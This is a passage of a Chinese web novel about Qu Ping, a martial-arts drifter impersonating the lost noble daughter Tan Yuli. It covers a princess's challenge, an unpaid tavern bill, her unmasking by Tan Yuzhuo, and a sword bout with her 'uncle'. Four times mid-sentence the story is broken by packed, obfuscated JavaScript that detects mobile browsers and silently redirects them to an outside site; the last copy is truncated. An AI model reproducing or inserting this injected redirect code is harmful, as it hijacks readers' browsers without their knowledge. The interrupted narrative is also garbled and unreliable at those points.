闻言,黄若烟正色道:“本公主听闻纪姑娘所弹《明妃曲》赞誉颇多,不知能否一听?” 纪书翠一身青衣,微微伏身,“奴家之幸。” 琵琶音响起,如纪书翠这个人一般,给人一种极为特别的矛盾感觉。 黄若烟拉着曲屏坐到帘子后边的软榻上。 “你听她弹得怎么样?纪小娘子可是京城有名的琵琶手呢!”她松开了曲屏的手腕,接过宛白递过来的茶杯啜了一口。 曲屏挪了挪屁股,眼睛在黄若烟和黄兆兴之间来回瞟。 她哪懂什么琵琶呀,叫她吃枇杷还差不多。 “呃,我感觉挺好听的,既然这么有名,不愧……果真名不虚传!”说完她还竖了一个大拇指。 黄若烟冷哼一声,嘁道:“真是一点儿规矩都没有!” 她眼珠子一转,笑眯眯地看着曲屏,脆声说道:“小王叔,我从小就听说谈二小姐很会弹琵琶,还自创了好几首曲子,也不知道我们今日能不能得以一观?” 说完,她微微偏头,盯着曲屏。 这公主是跟她杠上了? 胳膊拧不过大腿,她也不敢得罪她。 正想着要不拿着琵琶乱弹一通了事的时候,黄兆兴却是开口了。 “本王早年便十分欣赏谈二姑娘,你素好学,当的上才女之名。只是今时不同往日,既已忘却了诸多事宜,想必琵琶也生疏了。” 这话在曲屏耳中犹如天籁一般,曲屏仰头看着黄兆兴,连连点头,“正是,正是,我这些年跟着舅舅一心学武,这些琵琶之类的早就搁置了。” 舅舅之说还是前不久李夫人告诉她的。 比她自己胡诌的歹人之说确实好了不少。 “不成,本公主就要听你弹!”秀气浅淡的眉毛扬起,带着一股骄矜。 “倒是听说华阳前些日子新学了首曲子,弹得极好,不知本王今日能否有幸一听?”黄兆兴的声音依旧轻飘飘的。 却把黄若烟气得不得了。 她愤愤地瞪了曲屏一眼,说了句:“小王叔何必处处维护她,我今日才知她竟跟您还有着不浅的交情,既然如此,华阳就不搅扰二位的兴致了!” 说完便甩袖疾步走了,几个贴身丫鬟紧随其后。 曲屏正欲追上去,就被黄兆兴叫住。 “华阳便是这般性子,她从不使腌臜手段报复人,姑娘不必忧心,等过几日她便不会再计较了。” 可她贵为一国公主,就是明面报复她也不能怎么样啊…… 纪书翠的琵琶不知何时停了,一时寂静无声。 “呃,……王爷,我本来也是被公主拉过来的,她既然走了,那……臣女也先回去了。” 这逍遥王虽说与谈郁李认识,可与她无关呀,听他方才那话,谈郁李竟然还是个才女,她也是现在才听说。 她大字不识几个,跟才女沾不到一点边儿,更不敢与黄兆兴多接触了。 还是得稍微装一下,等拿到项链再说。 黄兆兴一直没有回应,曲屏站了这许久,脚累得很。 正要走,却听他说道:“本王正要去看望元太妃,谈二姑娘一同去吗?” 既是太妃,那便是先帝的妃子,可黄兆兴的生母是德妃,他怎么跟元太妃还能有所来往? 谈郁李不过是一个官家小姐,怎会认识太妃? 曲屏忙摇头拒绝,“我还要找我堂弟呢,他不知道跑哪儿去了,就不跟王爷一起去了。” 黄兆兴微微颔首,带着侍从走了出去。 包厢内只剩曲屏与纪书翠二人。 曲屏本来就没玩够,方才也只是不想面对黄兆兴故而推说要走,如今却是轻快了很多。 她走到纪书翠跟前,看着她秀丽青涩的面容,问道:“纪姑娘认识谈羽复?” 纪书翠抬头看了她一眼,怯生回道:“不认识。” “他刚刚追着你出去了,你没见到他吗?” 见纪书翠仍是摇头,她又补充道:“就是那个脸上有道疤,瘦得跟人干一样的男的。” 听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717469|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的描述,纪书翠迟疑片刻,细声道:“奴家方才下楼时,确实见到一个这样的人,应当就是谈公子。” 曲屏眼睛一亮,追问道:“他有没有跟你说些什么?” 她倒要看看这谈羽复是不是找个由头跑单了! 纪书翠摇头道:“不曾,谈公子看了奴家一眼,便匆忙跑到街上去了。” 听了这话,曲屏气得牙痒痒。 “好你个谈羽复!我就不应该跟你出来!”说着她紧握拳头快步走到楼梯间。 刚下楼梯就被店小二给叫住了。 “诶!诶!这位姑娘您还没付钱呢!” 曲屏顿住脚步,回道:“我是跟谈羽复一起过来的,你们去谈家找他要钱去。” “使不得啊姑娘,谈公子在我们这儿从来没付过钱,小的上次去谈宅的时候李夫人不让我们再给谈公子赊账了,这次要不到一文钱的……” 敢情谈羽复早有预谋,为的就是坑她一笔。 “我不管,谈羽复说要请客的,我可没带钱出来,你们找他去。”说着曲屏就转身往外跑。 店小二一把拉住她,躬着身子道:“姑娘,您不要为难小的,这几条街上谁不知谈公子四处赊账,出门从不带钱,小的今日也是见到姑娘您才放心让赊的。” 曲屏理亏在先,也没怎么用力挣脱,店小二不知道她的身份,不敢得罪她,故而门口的几个打手没有动作。 曲屏无奈道:“我是真没带钱,今天也是被谈羽复骗出来的,你看我头上连个簪子都没戴呢!” 她里面还是穿着寝衣呢。 今日清晨就被谈羽复给吵醒,跑过来跑过去的,哪还顾得上这些? “你也不容易,我现在正好要回谈家,你要不跟我一起去,取了银子你再回来?” 反正谈宅离这儿不远。 * 就这样曲屏带着店小二朝谈宅走去。 这小二名叫高衡,年方十九,是个土生土长的京城人,十三岁就在京城各处酒楼做事了,今年年初才到醉仙楼来。 他爱笑,话又多,这一路上一直说个不停。 得知曲屏便是传闻中的谈二小姐之后,他兴奋得不得了,一个劲地问她是怎么跟着舅舅离开京城,又是怎么想着要回到京城的。 曲屏一个冒牌货哪知道这么多,通通含糊过去。 这丝毫不影响高衡的兴致,他仍喋喋不休。 “我那时年纪小,才十岁,我爹硬把我赶出家去,说家里没饭吃,那时候天儿比现在还热呢!我就穿了一件灰色的补丁麻衣,没一会儿就出了一身的汗,走到哪儿都被赶出来,屁股上还挨了好几脚。到了晚上一口水都没喝,肚子饿得咕咕叫,只得跟乞丐抢吃的…… “……我那时候才十二岁,懂个啥子呦,妈妈让我去干啥我就得干啥,让我拿着鞭子往哪儿抽我就得往哪儿抽。她们就都哭,又哭又叫,可我能有什么办法,我不打她们,我就得挨打…… “……别看纪小娘子年纪小,琵琶弹得漂亮得很,没有一个不夸的。自打她来了咱们醉仙楼之后,好多达官贵族来了都点名要她弹琵琶呢……” 曲屏只觉得脑瓜子嗡嗡的,什么也没听清,见到谈宅牌匾的那一刻,她仿佛是见到了监狱大门。 16. 第 16 章 “终于到了。”曲屏长舒一口气。 这短短十几分钟,她听完了高衡的前半生。 曲屏上前用门环敲了敲门,扭头朝他说道:“你先在这儿等着,我叫丫鬟给你送钱出来。” “好嘞好嘞!谈二小姐尽管进去,小的就在这儿等着。” 走了这许久,只为拿他本该拿的且不属于他的银钱,他不仅不气恼,反而兴奋得双颊泛红。 曲屏进去后,对管家说道,“吴叔,外边那人是醉仙楼的店小二,来取银子的。您去给下银钱,记谈羽复账上。” 吴管家探头看了一眼高衡,小声道:“二姑娘,复少爷月初就把这个月的银子给支走了,便是下月的月银也拿走了一半呢,哪还有银子啊。” “啊?”这人真是…… 曲屏扭头又看了眼高衡。 只见他微微弯腰站在日光下,右手时不时地拧着毛巾玩儿,临近正午,他的额头开始冒汗。 “算了算了,我这次是真的栽他身上了,吴叔你先叫他进来躲荫,我待会儿让小彤送钱出来。”曲屏说着就往沉香院走去。 * 到了沉香院,曲屏刚踏进院门,就让小彤拿了一块银锭送出去。 她数着木盒中的银锭和零星几个金元宝,越想越气。 “砰”地合上木盒,朝谈羽复住处走去。 一路上气冲冲的,问了好几个丫鬟才找到院子。 看着牌匾上鎏金的几个大字,曲屏“嗬”了一声。 暗道:果然一副暴发户做派。 走进去却是惊了一跳,院里一个丫鬟小厮都没有,更甚者里边还长满了半人高的杂草。 谈郁李离开十年,她那沉香院都没成这样,眼前这院子真是谈羽复一直住的地方? 难不成方才那几个丫鬟听岔了,以为她要去什么荒废的院子? 明明是正午时分,外间热得很,进了院子阳光全被院门口那两株参天大树给挡住了。 里面还有几分阴凉。 曲屏抱着胸,搓了搓手臂。 “谈羽复!谈羽复!”连叫了好几声都没有回应。 早知道这样就该叫上小怡,再不济带上檀香,大不了被她阴阳一番,总不至于被吓成这样。 “谈羽复!你出来!” 话音刚落,后边就传来些许草叶窸窣的声音,曲屏转身却见一个黑乎乎的东西扑面而来。 “啊!” 她被惊地摔倒在地,回过神来那东西早跑没影了。 里间的一人听到动静跑了出来,“二小姐,您怎么来了?” 是谈羽复身边的小厮许安。 曲屏爬了起来,不住地拍打身上的灰尘,“咳咳咳……,谈羽复真住里边儿?” 许安连连点头,“少爷回来许久了,二小姐您快去劝劝他,他今日不知怎的,一回来就躲在房里哭。” “哭?我都没哭,他哭什么?”曲屏只当他在开玩笑。 “怎么就他这院子阴森森的,吓死个人,刚刚那黑乎乎的是什么玩意儿?你看那石桌上全是灰尘,都结蜘蛛网了,这是人住的地方吗?”曲屏边走边打量着四周,嘟囔道:“院里连个人影都见不着,白天晚上一个样……” “哎呀二小姐,您快别说了,还是先进去劝劝少爷吧。少爷不喜跟人接触,这院里就我跟少爷两个人,这些布置全是少爷吩咐的。” 不喜跟人接触?呵! 那天天跑到她那儿去作甚?早上还跟姐夫一副哥俩好的样子勾肩搭背呢…… 果然是个神经病。 跟着许安走近房间,隐约听到内间传来断断续续的哭泣声。 ……不是,谈羽复真在哭啊? 曲屏认识他这段日子,早知他反复无常,却是未曾见他哭过。 许安停了下来,悄声叫她进去。 曲屏试探性地叫了两声,“谈羽复,谈羽复?” 没有回应,里间的哭声停了,仍能听到抽噎声。 “别哭了,是我,谈郁李。” 突地,一团黑色物什溜了出来,正是方才吓她那个,如今一看,才知是只胖乎乎的黑猫。 “汤圆,回来!呃……”末了,还打了个嗝。 曲屏:…… 谈羽复喊了一声就光着脚追了出来,见到曲屏他顿住脚步,转身又缩回了矮榻上。 曲屏一阵莫名,还是依着心走了进去,弯腰拍了拍他捂得严严实实的脑袋。 “你又抽什么风?哭什么?请我吃饭半路跑了我还没找你算账呢,你就偷偷哭?” 谈羽复虽然瘦,个子却不矮,虽然缩成一团,可看着还是很拥挤。 “过去点,我坐会儿。”曲屏打了一下他的背,却被他背上的骨头咯得生疼。 “嘶~瘦成这样,我这些年一直挨饿都还有点肉。” 一时只能听见曲屏和他时而控制不住地抽噎声。 “我刚刚可是垫付了一个银锭,不知道还能剩几文钱,你现在就还给我,快些起来!” 催促了许久,就在曲屏怀疑他被闷死的时候,谈羽复慢慢掀开薄毯,将脑袋探了出来。 他双眼微睁,愣愣地看着她,若不是眼下的肉色疤痕,曲屏险些认不出他来。 因为刚刚哭过,他的眼睛红红的,就连眼尾都染上绯色。 他这双泛红的眼睛中盛满了她从未见过的怜悯与悲伤。 他的声音清脆中带着沙哑。 他说,“谈郁李,我以为我这辈子都见不到你了。” 曲屏险些被这情绪渲染得掉下眼泪,她极力克制着眨了眨眼睛。 可惜,我不是谈郁李,你以为的是真的。 她有好几个名字,但没有一个名字叫谈郁李。 “你,因为这个哭?”曲屏诧异道。 她见过很多人哭,各种各样的哭法,各式各样的缘由。 却从未见过像这样莫名其妙的哭泣。 “据我所知,你从小就跟……我不对付吧?怎么,我离开这么久,你居然还会伤心?” 谈羽复没有回答,而是转而说起了其他,“谈郁李,你要信我。我不知怎么的就跑回来了。” 不说这个还好,一说曲屏就来气,“还信你?我再也不会信你了!” “你爱信不信。” “我特意问了纪书翠,人家根本就不认识你,你跑过去也没跟她说什么,那你跑出去干嘛?” “我,我只是想看看她……”说到后面,他的声音低不可闻。 “你认识她?” 见谈羽复点头,曲屏追问道:“也是因着琵琶?” 再多的,他却是不愿说了。 曲屏想起黄兆兴之前的话,便试探着说道:“我,以前琵琶弹得很好吗?” 谈羽复抬头瞥了她一眼,良久才回答:“那当然了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726899|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当年什么不会?” “怎么?你失忆连这些全不记得了?” 曲屏呵呵笑了两声,没有回答。 见他情绪缓和过来,曲屏也就没再久留,一个人走出了院子。 看着满院荒芜,她蹙眉叹了一口气。 整个住处都透着阴凉,刚进来时还觉得不适,待久了竟也习惯了。 原以为没过多久,出了院子才发现太阳西斜,园中偶有几阵凉风袭来。 远远的,就见小彤朝她跑了过来。 “小姐,可算是找到你了,你怎么在这儿?” 曲屏有些莫名道:“找我干什么?” “小姐,你方才是去了复少爷的院子吗?我听燕子她们说你朝那边走了。” 曲屏点头,道:“小彤,我正要问你呢,谈羽复院子怎么那个样子,二婶婶也不管吗?” “小姐,复少爷这性子,宅中还有谁能管得了他呀。奴婢自来了谈家,李夫人就忧心复少爷的婚事,可他一个也瞧不上,就这样拖到了现在,李夫人甚至说不求复少爷能成婚,只要有个通房侍妾能有个一儿半女她就知足了。 “可复少爷就跟许安两个人住在容与院,半个丫鬟都没有。今年年初的时候李夫人甚至说复少爷即便是断袖,她也不会横加阻挠,只盼有个人能陪着他。” “啊?二婶婶竟然还能说出这番话来?”曲屏惊诧道。 小彤连连点头,又接着说道:“复少爷听到这话之后气得不行,还跑去李夫人那儿吵了一顿,那次闹得可大了。老爷气得给复少爷上了家法,之后又在祠堂跪了一夜。现如今,李夫人和老爷完全不过问复少爷的事了,说只要不杀人放火多用银钱,其他随他去。” “只是奴婢听檀香姐姐说小姐从小便跟复少爷不对付,一见面就吵架,有时甚至会打起来。复少爷从小便清晨跑来沉香院捣乱,可小姐却从来不去容与院。” “小姐今日怎的就去了?” 曲屏也没想到自己无意中又ooc了。 她又将谈羽复请客跑单的事情简略地说了一遍,小彤听得直乐,末了,道:“复少爷不是第一次干这种事了,他之前也这样骗过榆少爷。” “谈寻榆?他居然也会跟着谈羽复一道出去玩?”曲屏想起那次家宴见到的男子,有些出乎意料之感。 “榆少爷少时跟复少爷关系好,只是现在不怎么来往了。” 就这样走了一路,打听到了不少消息。 小彤性格活泼开朗,人缘好,讨人喜欢,她总是能知道很多别人不知道的事情。 * 吃完晚膳,曲屏拿着话本孤身走出沉香院,想着去后花园的水中亭看看夜景。 月亮洁白如练,她看见亭中站了一个清瘦的男子,看身形她辨认不出来。 只知道这人不会是谈羽复。 她一步不停地走入亭中坐在角落,离得近了,才看清原来是谈羽灼。 过走来的时候她并未特意放轻脚步声,如果不是赏月太过入神,他早该发现了。 曲屏没有做声,只是借着月光,翻阅着手中的话本,渐入佳境。 不知不觉半本看完,曲屏合上书本,伸了个懒腰正要回去。 就见谈羽灼站在一旁看着她,神色不明。 “灼少爷,你看完月亮了?” 也不知道他盯了她多久,这话本带了点破案悬疑,一不小心就看入迷了。 17. 第 17 章 谈羽灼眉头微蹙,良久才说道:“姑娘来谈家所图为何物?” “我……” “周姑娘不必再掩饰了,谈某已派人将你的过往打听清楚了。你刚满十七,郁李失踪那年,你还在四处逃难。” 谈羽灼眼神锋利,直勾勾地看着盯着她。 听到这个称呼曲屏心知无望,便也如他所说不再掩饰。 “你既然都查清楚了,怎么不去李夫人那儿告发我?”曲屏心知她的说辞漏洞百出,被拆穿也在她的意料之中。 可即便如此,她都学不会如何体面地离开。 她从来都只是如丧家之犬一样被痛骂追赶、拳脚相加。 她阿爸常说,她生来自私怯弱,执拗不懂退缩,只能挨打,痛得无法忍受才能学乖。 曲屏仍是说着:“灼少爷,您怎么不去告发我呢?您完全可以把我这个江湖骗子告到衙门去,让我在牢房里磋磨一番,这样您就能消除恨意了。” 谈羽灼嘴唇紧抿,他冷冷道:“我不恨你。” 曲屏情绪激动起来,她将话本丢在一旁,走近昂着头问道:“灼少爷难道不憎恶赝品吗?套着他人模子的赝品难道不令人憎恨吗?” 谈羽灼后退几步,一字一句地说道:“你跟她一点都不像。” “你不是赝品。” 曲屏情绪缓和,她又坐回角落,歉意道:“灼少爷不要怪罪于我,我是个江湖女子,不懂什么规矩。” 谈羽灼仍是那副严肃表情,他摇了摇头。 “那就重新认识一下吧,周是我随养父的姓,周老爹死后我不再姓周了。我叫曲屏。”她喜欢这样直截了当地明说。 “曲姑娘,在下谈羽灼,字知远。” 曲屏新奇地问道:“你们怎么都有字,就连谈羽复都有,我也可以有字吗?” 谈羽灼微微颔首,道:“那是自然,曲姑娘早已过了及笄之年,的确可以取一个字了。” “我的这个名字就是自己取的,你觉得怎么样?我再自个儿想个好字……” 谈羽灼刚要开口,就听曲屏嘟囔道:“不行,我已经有好几个名字了,还是别取字了,就叫曲屏挺好的。” 不再伪装,在他面前曲屏也放松了很多。 她说道:“听李夫人说你跟谈郁李关系很好,是真的吗?” 谈羽灼点了点头。 他早就明白谈郁李回不来了。 “我开始很不喜欢郁李,觉得她娇气,总是凶她,后来她骂了我几次,我自知理亏也没计较了,再后来不知怎么的就亲近起来了。” “她还会骂人?”曲屏稀奇道。 谈羽灼语带笑意:“不止会骂,还很会骂,经常骂的人哑口无言,插不上话。” “不过那些都是她十来岁的事情了,之后她的身体愈发不好,也就没什么力气骂人了,及笄之后因着温养、身子药不间断,性子温和了很多。” 过了这许久,谈羽灼其实也没有说太多,他的神情又恢复惯常的那副严肃样子。 “京城危机四伏,谈家这些年一直不太安生,曲姑娘侠肝义胆……还是早些离开这儿吧。” 侠肝义胆?这于她倒是一个新鲜词。 曲屏心中欢喜,只道:“我本来就不打算在京城待很久,等跟方弥谨成亲后我就离开这儿。” “那就好。” “你不介意我顶替谈郁李成亲?” 婚姻之事,若是设身处地,曲屏是很介意的。 谈羽灼沉默许久才说道:“方慎之虽好,却并非郁李良配,当年我也是不赞同他们成亲的。只是那时伯父欣赏他,郁李叶愿意嫁给他。” 方弥谨比谈郁李还小两岁,出身贫寒却喜形不露于色,心思难以捉摸,他看不出他的求娶是真心还是见色起意。 ……还是为了前程。 这是出身不好的人的通病,谈羽灼当县令的那几年见过太多世间冷暖,他放在心尖上的妹妹,他不放心她嫁给他,可她愿意,他便不会横加阻挠。 他知道郁李作的决定,谁也无法改变。 “方弥谨当年尚且年轻,不知真心几何。”谈羽灼叹息道。 却是没再说后半句了。 * 直至入睡前曲屏都还有些恍惚,从没有哪次行骗这么顺利过。 除了贵人那次,其余的只要她露出破绽被揭穿,总是难逃一顿毒打。 她有些不敢置信连着被两个人拆穿,可她如今还能安稳地躺在床上。 就这样她无忧无虑的在谈宅又待了两个多月,眼见着婚期越来越近,曲屏有些不知所措。 她轻功不错,也会些浅显功夫,不怕到时候跑不了。 正当她幻想着拿着宝石回到现代的时候,小彤却是兴冲冲地跑了进来。 “小姐,有请帖!” 曲屏回过神来,看着小彤红润的脸庞问道:“什么请帖?” “公主的请帖!”小彤语气惊喜,她来谈宅这么久,还从未见过皇家子弟呢。 “华阳公主的?” 见小彤兴奋地点头,曲屏生无可恋地接过请帖。 看着上面端端正正的“华阳”二字,一阵哀叹。 小彤见曲屏这副神情,诧然道:“公主邀请,这可是别人求都求不来的,小姐怎么还不高兴?” “我高兴得很……” 如今离婚期只有十天不到,曲屏昨天还试穿了婚服,眼见着就要事成拿到项链,她可不想被他们给搅和了。 这两个多月她深居简出,连谈羽复都见的少,方弥谨更是那次之后没再见过了,就是怕多说多错,临了出变故。 看完请帖的内容,曲屏一阵头大,嘟囔道:“好端端的,办什么赏花宴?这有什么好赏的?” “小彤,你说我能不能不参加?” 小彤摇了摇头,道:“奴婢听说公主请了好些世家小姐呢,去年的时候公主也办过一次踏雪宴,那时风雪交加,可收到请帖的人全去了,小姐不去只怕公主会怪罪。” 曲屏也猜不透华阳公主的心思,不知她是放弃了,还是又有什么新的打算。 左右躲不过,曲屏也不晒太阳了,拉着小彤便往花园跑去。 “小姐今日怎么想着出院门了?” 她之前哪是不想啊…… “咱们现在就去赏花。” 曲屏拉着小彤一路小跑,小彤没多久就累得不行,遂停了下来。 刚走过一个拐角就见檀香行色匆匆地从她身旁走过,手里还拿着什么东西,看到她之后立马塞进了袖口。 曲屏停了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787547|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,转身看着檀香渐渐远去的背影,低声呢喃:“檀香怎么了?看着跟平时不太一样。” 小彤也跟着停了下来,她右手捂着腰侧气喘吁吁,耳朵还是好使得很。 她咽了下唾沫,说道:“我也不晓得,只听小怡说檀香姐姐这些日子常不在宅中,也不知白日在忙些什么。” 曲屏直觉不对,可也想不明白,便不再思量,只拉着小彤沿着小径缓步往花园走去。 这花园大得很,里面各种各样的花都有,门口有一块木匾,却是没有题字。 木匾看着有些年头了,大半被花藤覆盖,微风拂过,花藤摇曳,倒是好看得紧。 曲屏仰头张开双臂,闭上眼睛感受着清风吹过面颊。 “宅中不管是亭子还是池塘都有名字,怎么这么大一个花园却没有名字?” 小彤四处张望了一番,凑到曲屏耳边说道:“小姐,我听闻这是大老爷当年为楚夫人建的园子,楚夫人喜爱种花,这园中大半都是她种的,因为楚夫人不喜欢命名,所以没有名字。后楚夫人走后,大老爷见园中众花凋敝,常亲自养护。大老爷去世之后,李夫人不忍这花园就此荒废,因而派了好些花匠大理。” “只是因着小姐幼年在这儿受过伤,宅中人多有避讳,鲜少过来赏花。” 曲屏原本听得津津有味,听到“受伤”二字时却是眉头一挑,问道:“我曾在这儿受过伤?怎么伤的?” 曲屏问完便走了进去,只见春光明媚,鸟语花香,真乃人间仙境。 便是在野外,她也没见过这般场景。 “这个奴婢就不知道了,他们只说小姐幼时撞伤了脑袋,药石无医,后来楚夫人不知从哪儿寻来一位医者将小姐治好了,只是……也是自那儿之后小姐的身体就不好了。” 曲屏微微蹙眉。 她原以为谈郁李是天生体弱,却没想到是因着后天遭了意外才如此。 她那副身子骨曲屏听人说都觉得累,好的时候出门上个香都艰难,不好的时候更是荤腥不能沾,连大声说话都不能。便是从小天天娇养着,怕也是不会好受到哪里去。 很快,曲屏的注意力就被一旁的秋千给吸引了。 “我还从来没有见过这么漂亮的秋千。” 这秋千的绳索上爬满了藤蔓,上面点缀着零星浅蓝色小花,旁边是一棵树干粗壮的歪脖子树,这秋千正是系在它的枝干上。 清晨的阳光尚且带着几分冷意,斜斜的几簇透过树枝撒在秋千板上,曲屏刚感叹完不等小彤跟上便施展轻功踏着一旁的矮石坐到了秋千上。 甫一坐上,她便双手紧握绳索,单脚着地借力荡了起来。 试着荡了四五下,曲屏有些不得劲,便喊道:“小彤,你快些过来帮我推几下,我这荡得还是不够高。” 小彤刚反应过来就见曲屏坐在秋千上,人几乎跟着秋千一同飘在半空中。 她惊了一跳,“小姐!” 小彤忙跑过去,想要阻止可却扯不到绳子,只在一旁焦急地看着曲屏在半空中左右晃荡。 “小彤!等我停下来你再给我推!” “小姐,你推这么高,太过危险了。” 曲屏不以为意,她这些年什么没见过,区区一个秋千的高度怎么比得上之前的断崖呢? 18. 第 18 章 曲屏慢慢停了下来,站在秋千上,让小彤在后边推。 “还不够高,小彤,再高些!” 冷风裹着阳光拂面而来,曲屏站在秋千上,仿佛置身云端。 她从未这样自由过,她喜欢自由。 “小姐,已经够高了,不能再高了。” 听到小彤的话,曲屏哈哈大笑,笑声回荡在半空中,响彻整个花园。 这些年的郁气似乎都消散了。 曲屏站在上面荡了许久,直至阳光渐渐染上灼意,她停了下来,问道:“小彤,你要不要坐,这个可好玩了。” 小彤看向半空,一阵后怕,连连摆手后退。 “别怕嘛,我带你,不荡这么高。” 说着曲屏就从木板上跳下来,用衣袖胡乱擦了擦,便抱着小彤坐了上去。 二人又随意荡了会儿秋千,却是听见门口传来些许脚步声。 小彤仍垂首看着地面,曲屏却是偏头去看。 未见其人,却听见一阵爽朗的笑声。 “我就猜是郁李,进来一看,还真是,郁李好兴致啊。” 眼前人皮肤黝黑,脸上蓄着络腮胡,身着一身褐色短打,右手拿着一把砍刀。 上次家宴见过一面,曲屏有些印象,却一时想不起来是谁。 看年纪应该是谈明的二哥,只是不知道叫什么名字了。 “二叔,您怎么来这儿了?” 反正谈观就两个弟弟,谈明她认得,这段时间见过好几次,这人肯定就是夹在中间的老二了。 “哈哈哈,我本来要去那边练刀,听见笑声进来看看,小丫头可要看我耍刀?”说着谈统甩了甩刀柄,刀刃上方的铁环发出清脆的撞击声。 曲屏跳了下来,“好呀,我好久没见过耍刀了,今天天气好,二叔,咱们去那边空地上。” 二人往不远处的空地走去,小彤与谈统身后的几个丫鬟小厮也跟了过来。 谈统挺着肚子走到正中央,将大刀杵在地上,正要动作,突然想到什么,他扭头看着曲屏道:“对了,小丫头,那个秋千虽然漂亮,可是危险得很呢,你也不怕?” “危险?我刚刚玩了好久,没觉出有什么危险的。” 曲屏一心只想着看耍刀,顺嘴回了一句。 “你不记得了?你小时候就是从那个秋千上摔了下来,脑袋磕石头上,差点就死了。你爹那时候急得不得了,后来治好了身体也差了,这地方你还是少来。” “啊?”曲屏惊讶道:“那这么多年这个秋千怎么还在?” 一般发生这种事情八成也会把它给拆了吧。 “这是你娘做的秋千,谁敢拆?不说这些,我先耍一套招式给你看看。” 左右没疼在她身上,曲屏也没再问,只专心看着,一个劲地叫好鼓掌。 “好!这套招式好!利落干脆,看着也漂亮。” 谈统朗声大笑,道:“我还自创了一套,小丫头你且看着。” 刀风阵阵,曲屏看得过瘾,便从一旁小厮手中拿过红缨长.枪疾步过去,跟谈统对打起来。 “二叔,我武艺不精,却也会些招式,咱们切磋一番。” “好,小丫头爽快!” 刚打了两三个回合,曲屏便败下阵来,她偏头见长刀迎面而来,忙双手持长.枪隔档,木杆断成两截,曲屏连着退了三步。 “我不善使长.枪,拿剑来!”曲屏穿着深绿短夏衣,内衫汗湿,用衣袖擦拭额头上的汗珠。 “小丫头真真爽快,我喜欢!”谈统声如洪钟,左手叉腰,右手握着刀柄。 小彤从一旁小厮手中拿过长剑,小跑着过去,至曲屏跟前,双手捧着长剑微微伏身,仰头看着曲屏。 剑柄上镶嵌着几颗浅绿宝石,看着十分精致华贵。 曲屏拔出剑,看着银白的剑刃,将剑鞘递给小彤,“真是一把好剑。” 话音刚落,不等谈统回答,曲屏持剑直攻谈统下盘。 谈统后退几步,双手握刀柄以刀刃横档,金属相碰,发出刺耳的响声。 几个呼吸间,谈统又占上风,他举刀砍来,曲屏敌不过,只能双手持剑阻挡。谈统力大如牛,曲屏被砍刀震得虎口发麻。 正面攻不过,她又换着角度从侧面攻击,众多兵器之中,她只剑器使的最好,虽打不过他,可一时也难以被打败。 就这样,寻着谈统招式破绽,又连着打了几十个来回,曲屏终因体力不支渐露颓势。 谈统见此,收了招式,将长刀扔到地上,摆手道:“不打了,不打了。” “再来,再来!我还可以打!” 谈统看着她,眼前女孩年纪尚小,脸颊通红,一双眼睛直勾勾地盯着他,明亮得叫人移不开视线。 他心中暗叹:好一个死不服输的倔丫头! “不打了,我认输了,现在又渴又累,丫头,咱们去吃些东西吧?” “吃什么?” “吃鱼,烤鱼。”说着谈统就挥退了几个小厮,只让两个丫鬟留了下来。 曲屏见谈统意味深长的眼神,她福至心灵,问道:“我们自己烤?” “正是正是。”说着谈统就带曲屏往花园里边走。 最里边竟然有一池塘,里面荷叶相接错落有致,池塘的中间有一座小亭子,上面牌匾上却是有字。 ——观心亭。 字迹秀美清隽,见之如沐春风,每个字的勾折撇捺处却很是飘逸,与字的整体很是违和。 乍一看却只使人惊叹漂亮。 曲屏如今正是如此,她仰头看着上边的字,道:“这亭子怎么又有名字?好漂亮的字!” 谈统怪道:“这不是你十三岁那年写的吗?那时候年纪小,因而字也飞扬,只是比我写得却也好上很多。” 见曲屏神色惊诧,他又道:“难不成我记错了?我也是那时听复儿说的,也是你和复儿那一年总打架,我才印象这么深。” 曲屏干笑两声,只道:“不是,不是,我只是不记得这些事情了。” 谈统兀自从一旁捡了几根干枯的树枝过来架在一起,刚拿出火折子就嘟囔道:“还是等抓到鱼再点火。” “今年这池塘死了一大批鱼,我有时候都抓不到鱼。” “小丫头,你会抓鱼吗?” 曲屏踮起脚尖觑了眼池水,连连摆手摇头,“我不会水,更别说抓鱼了。” 她小时候掉到河里差点淹死了,自那之后一直不敢下水,自然也不会游泳了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 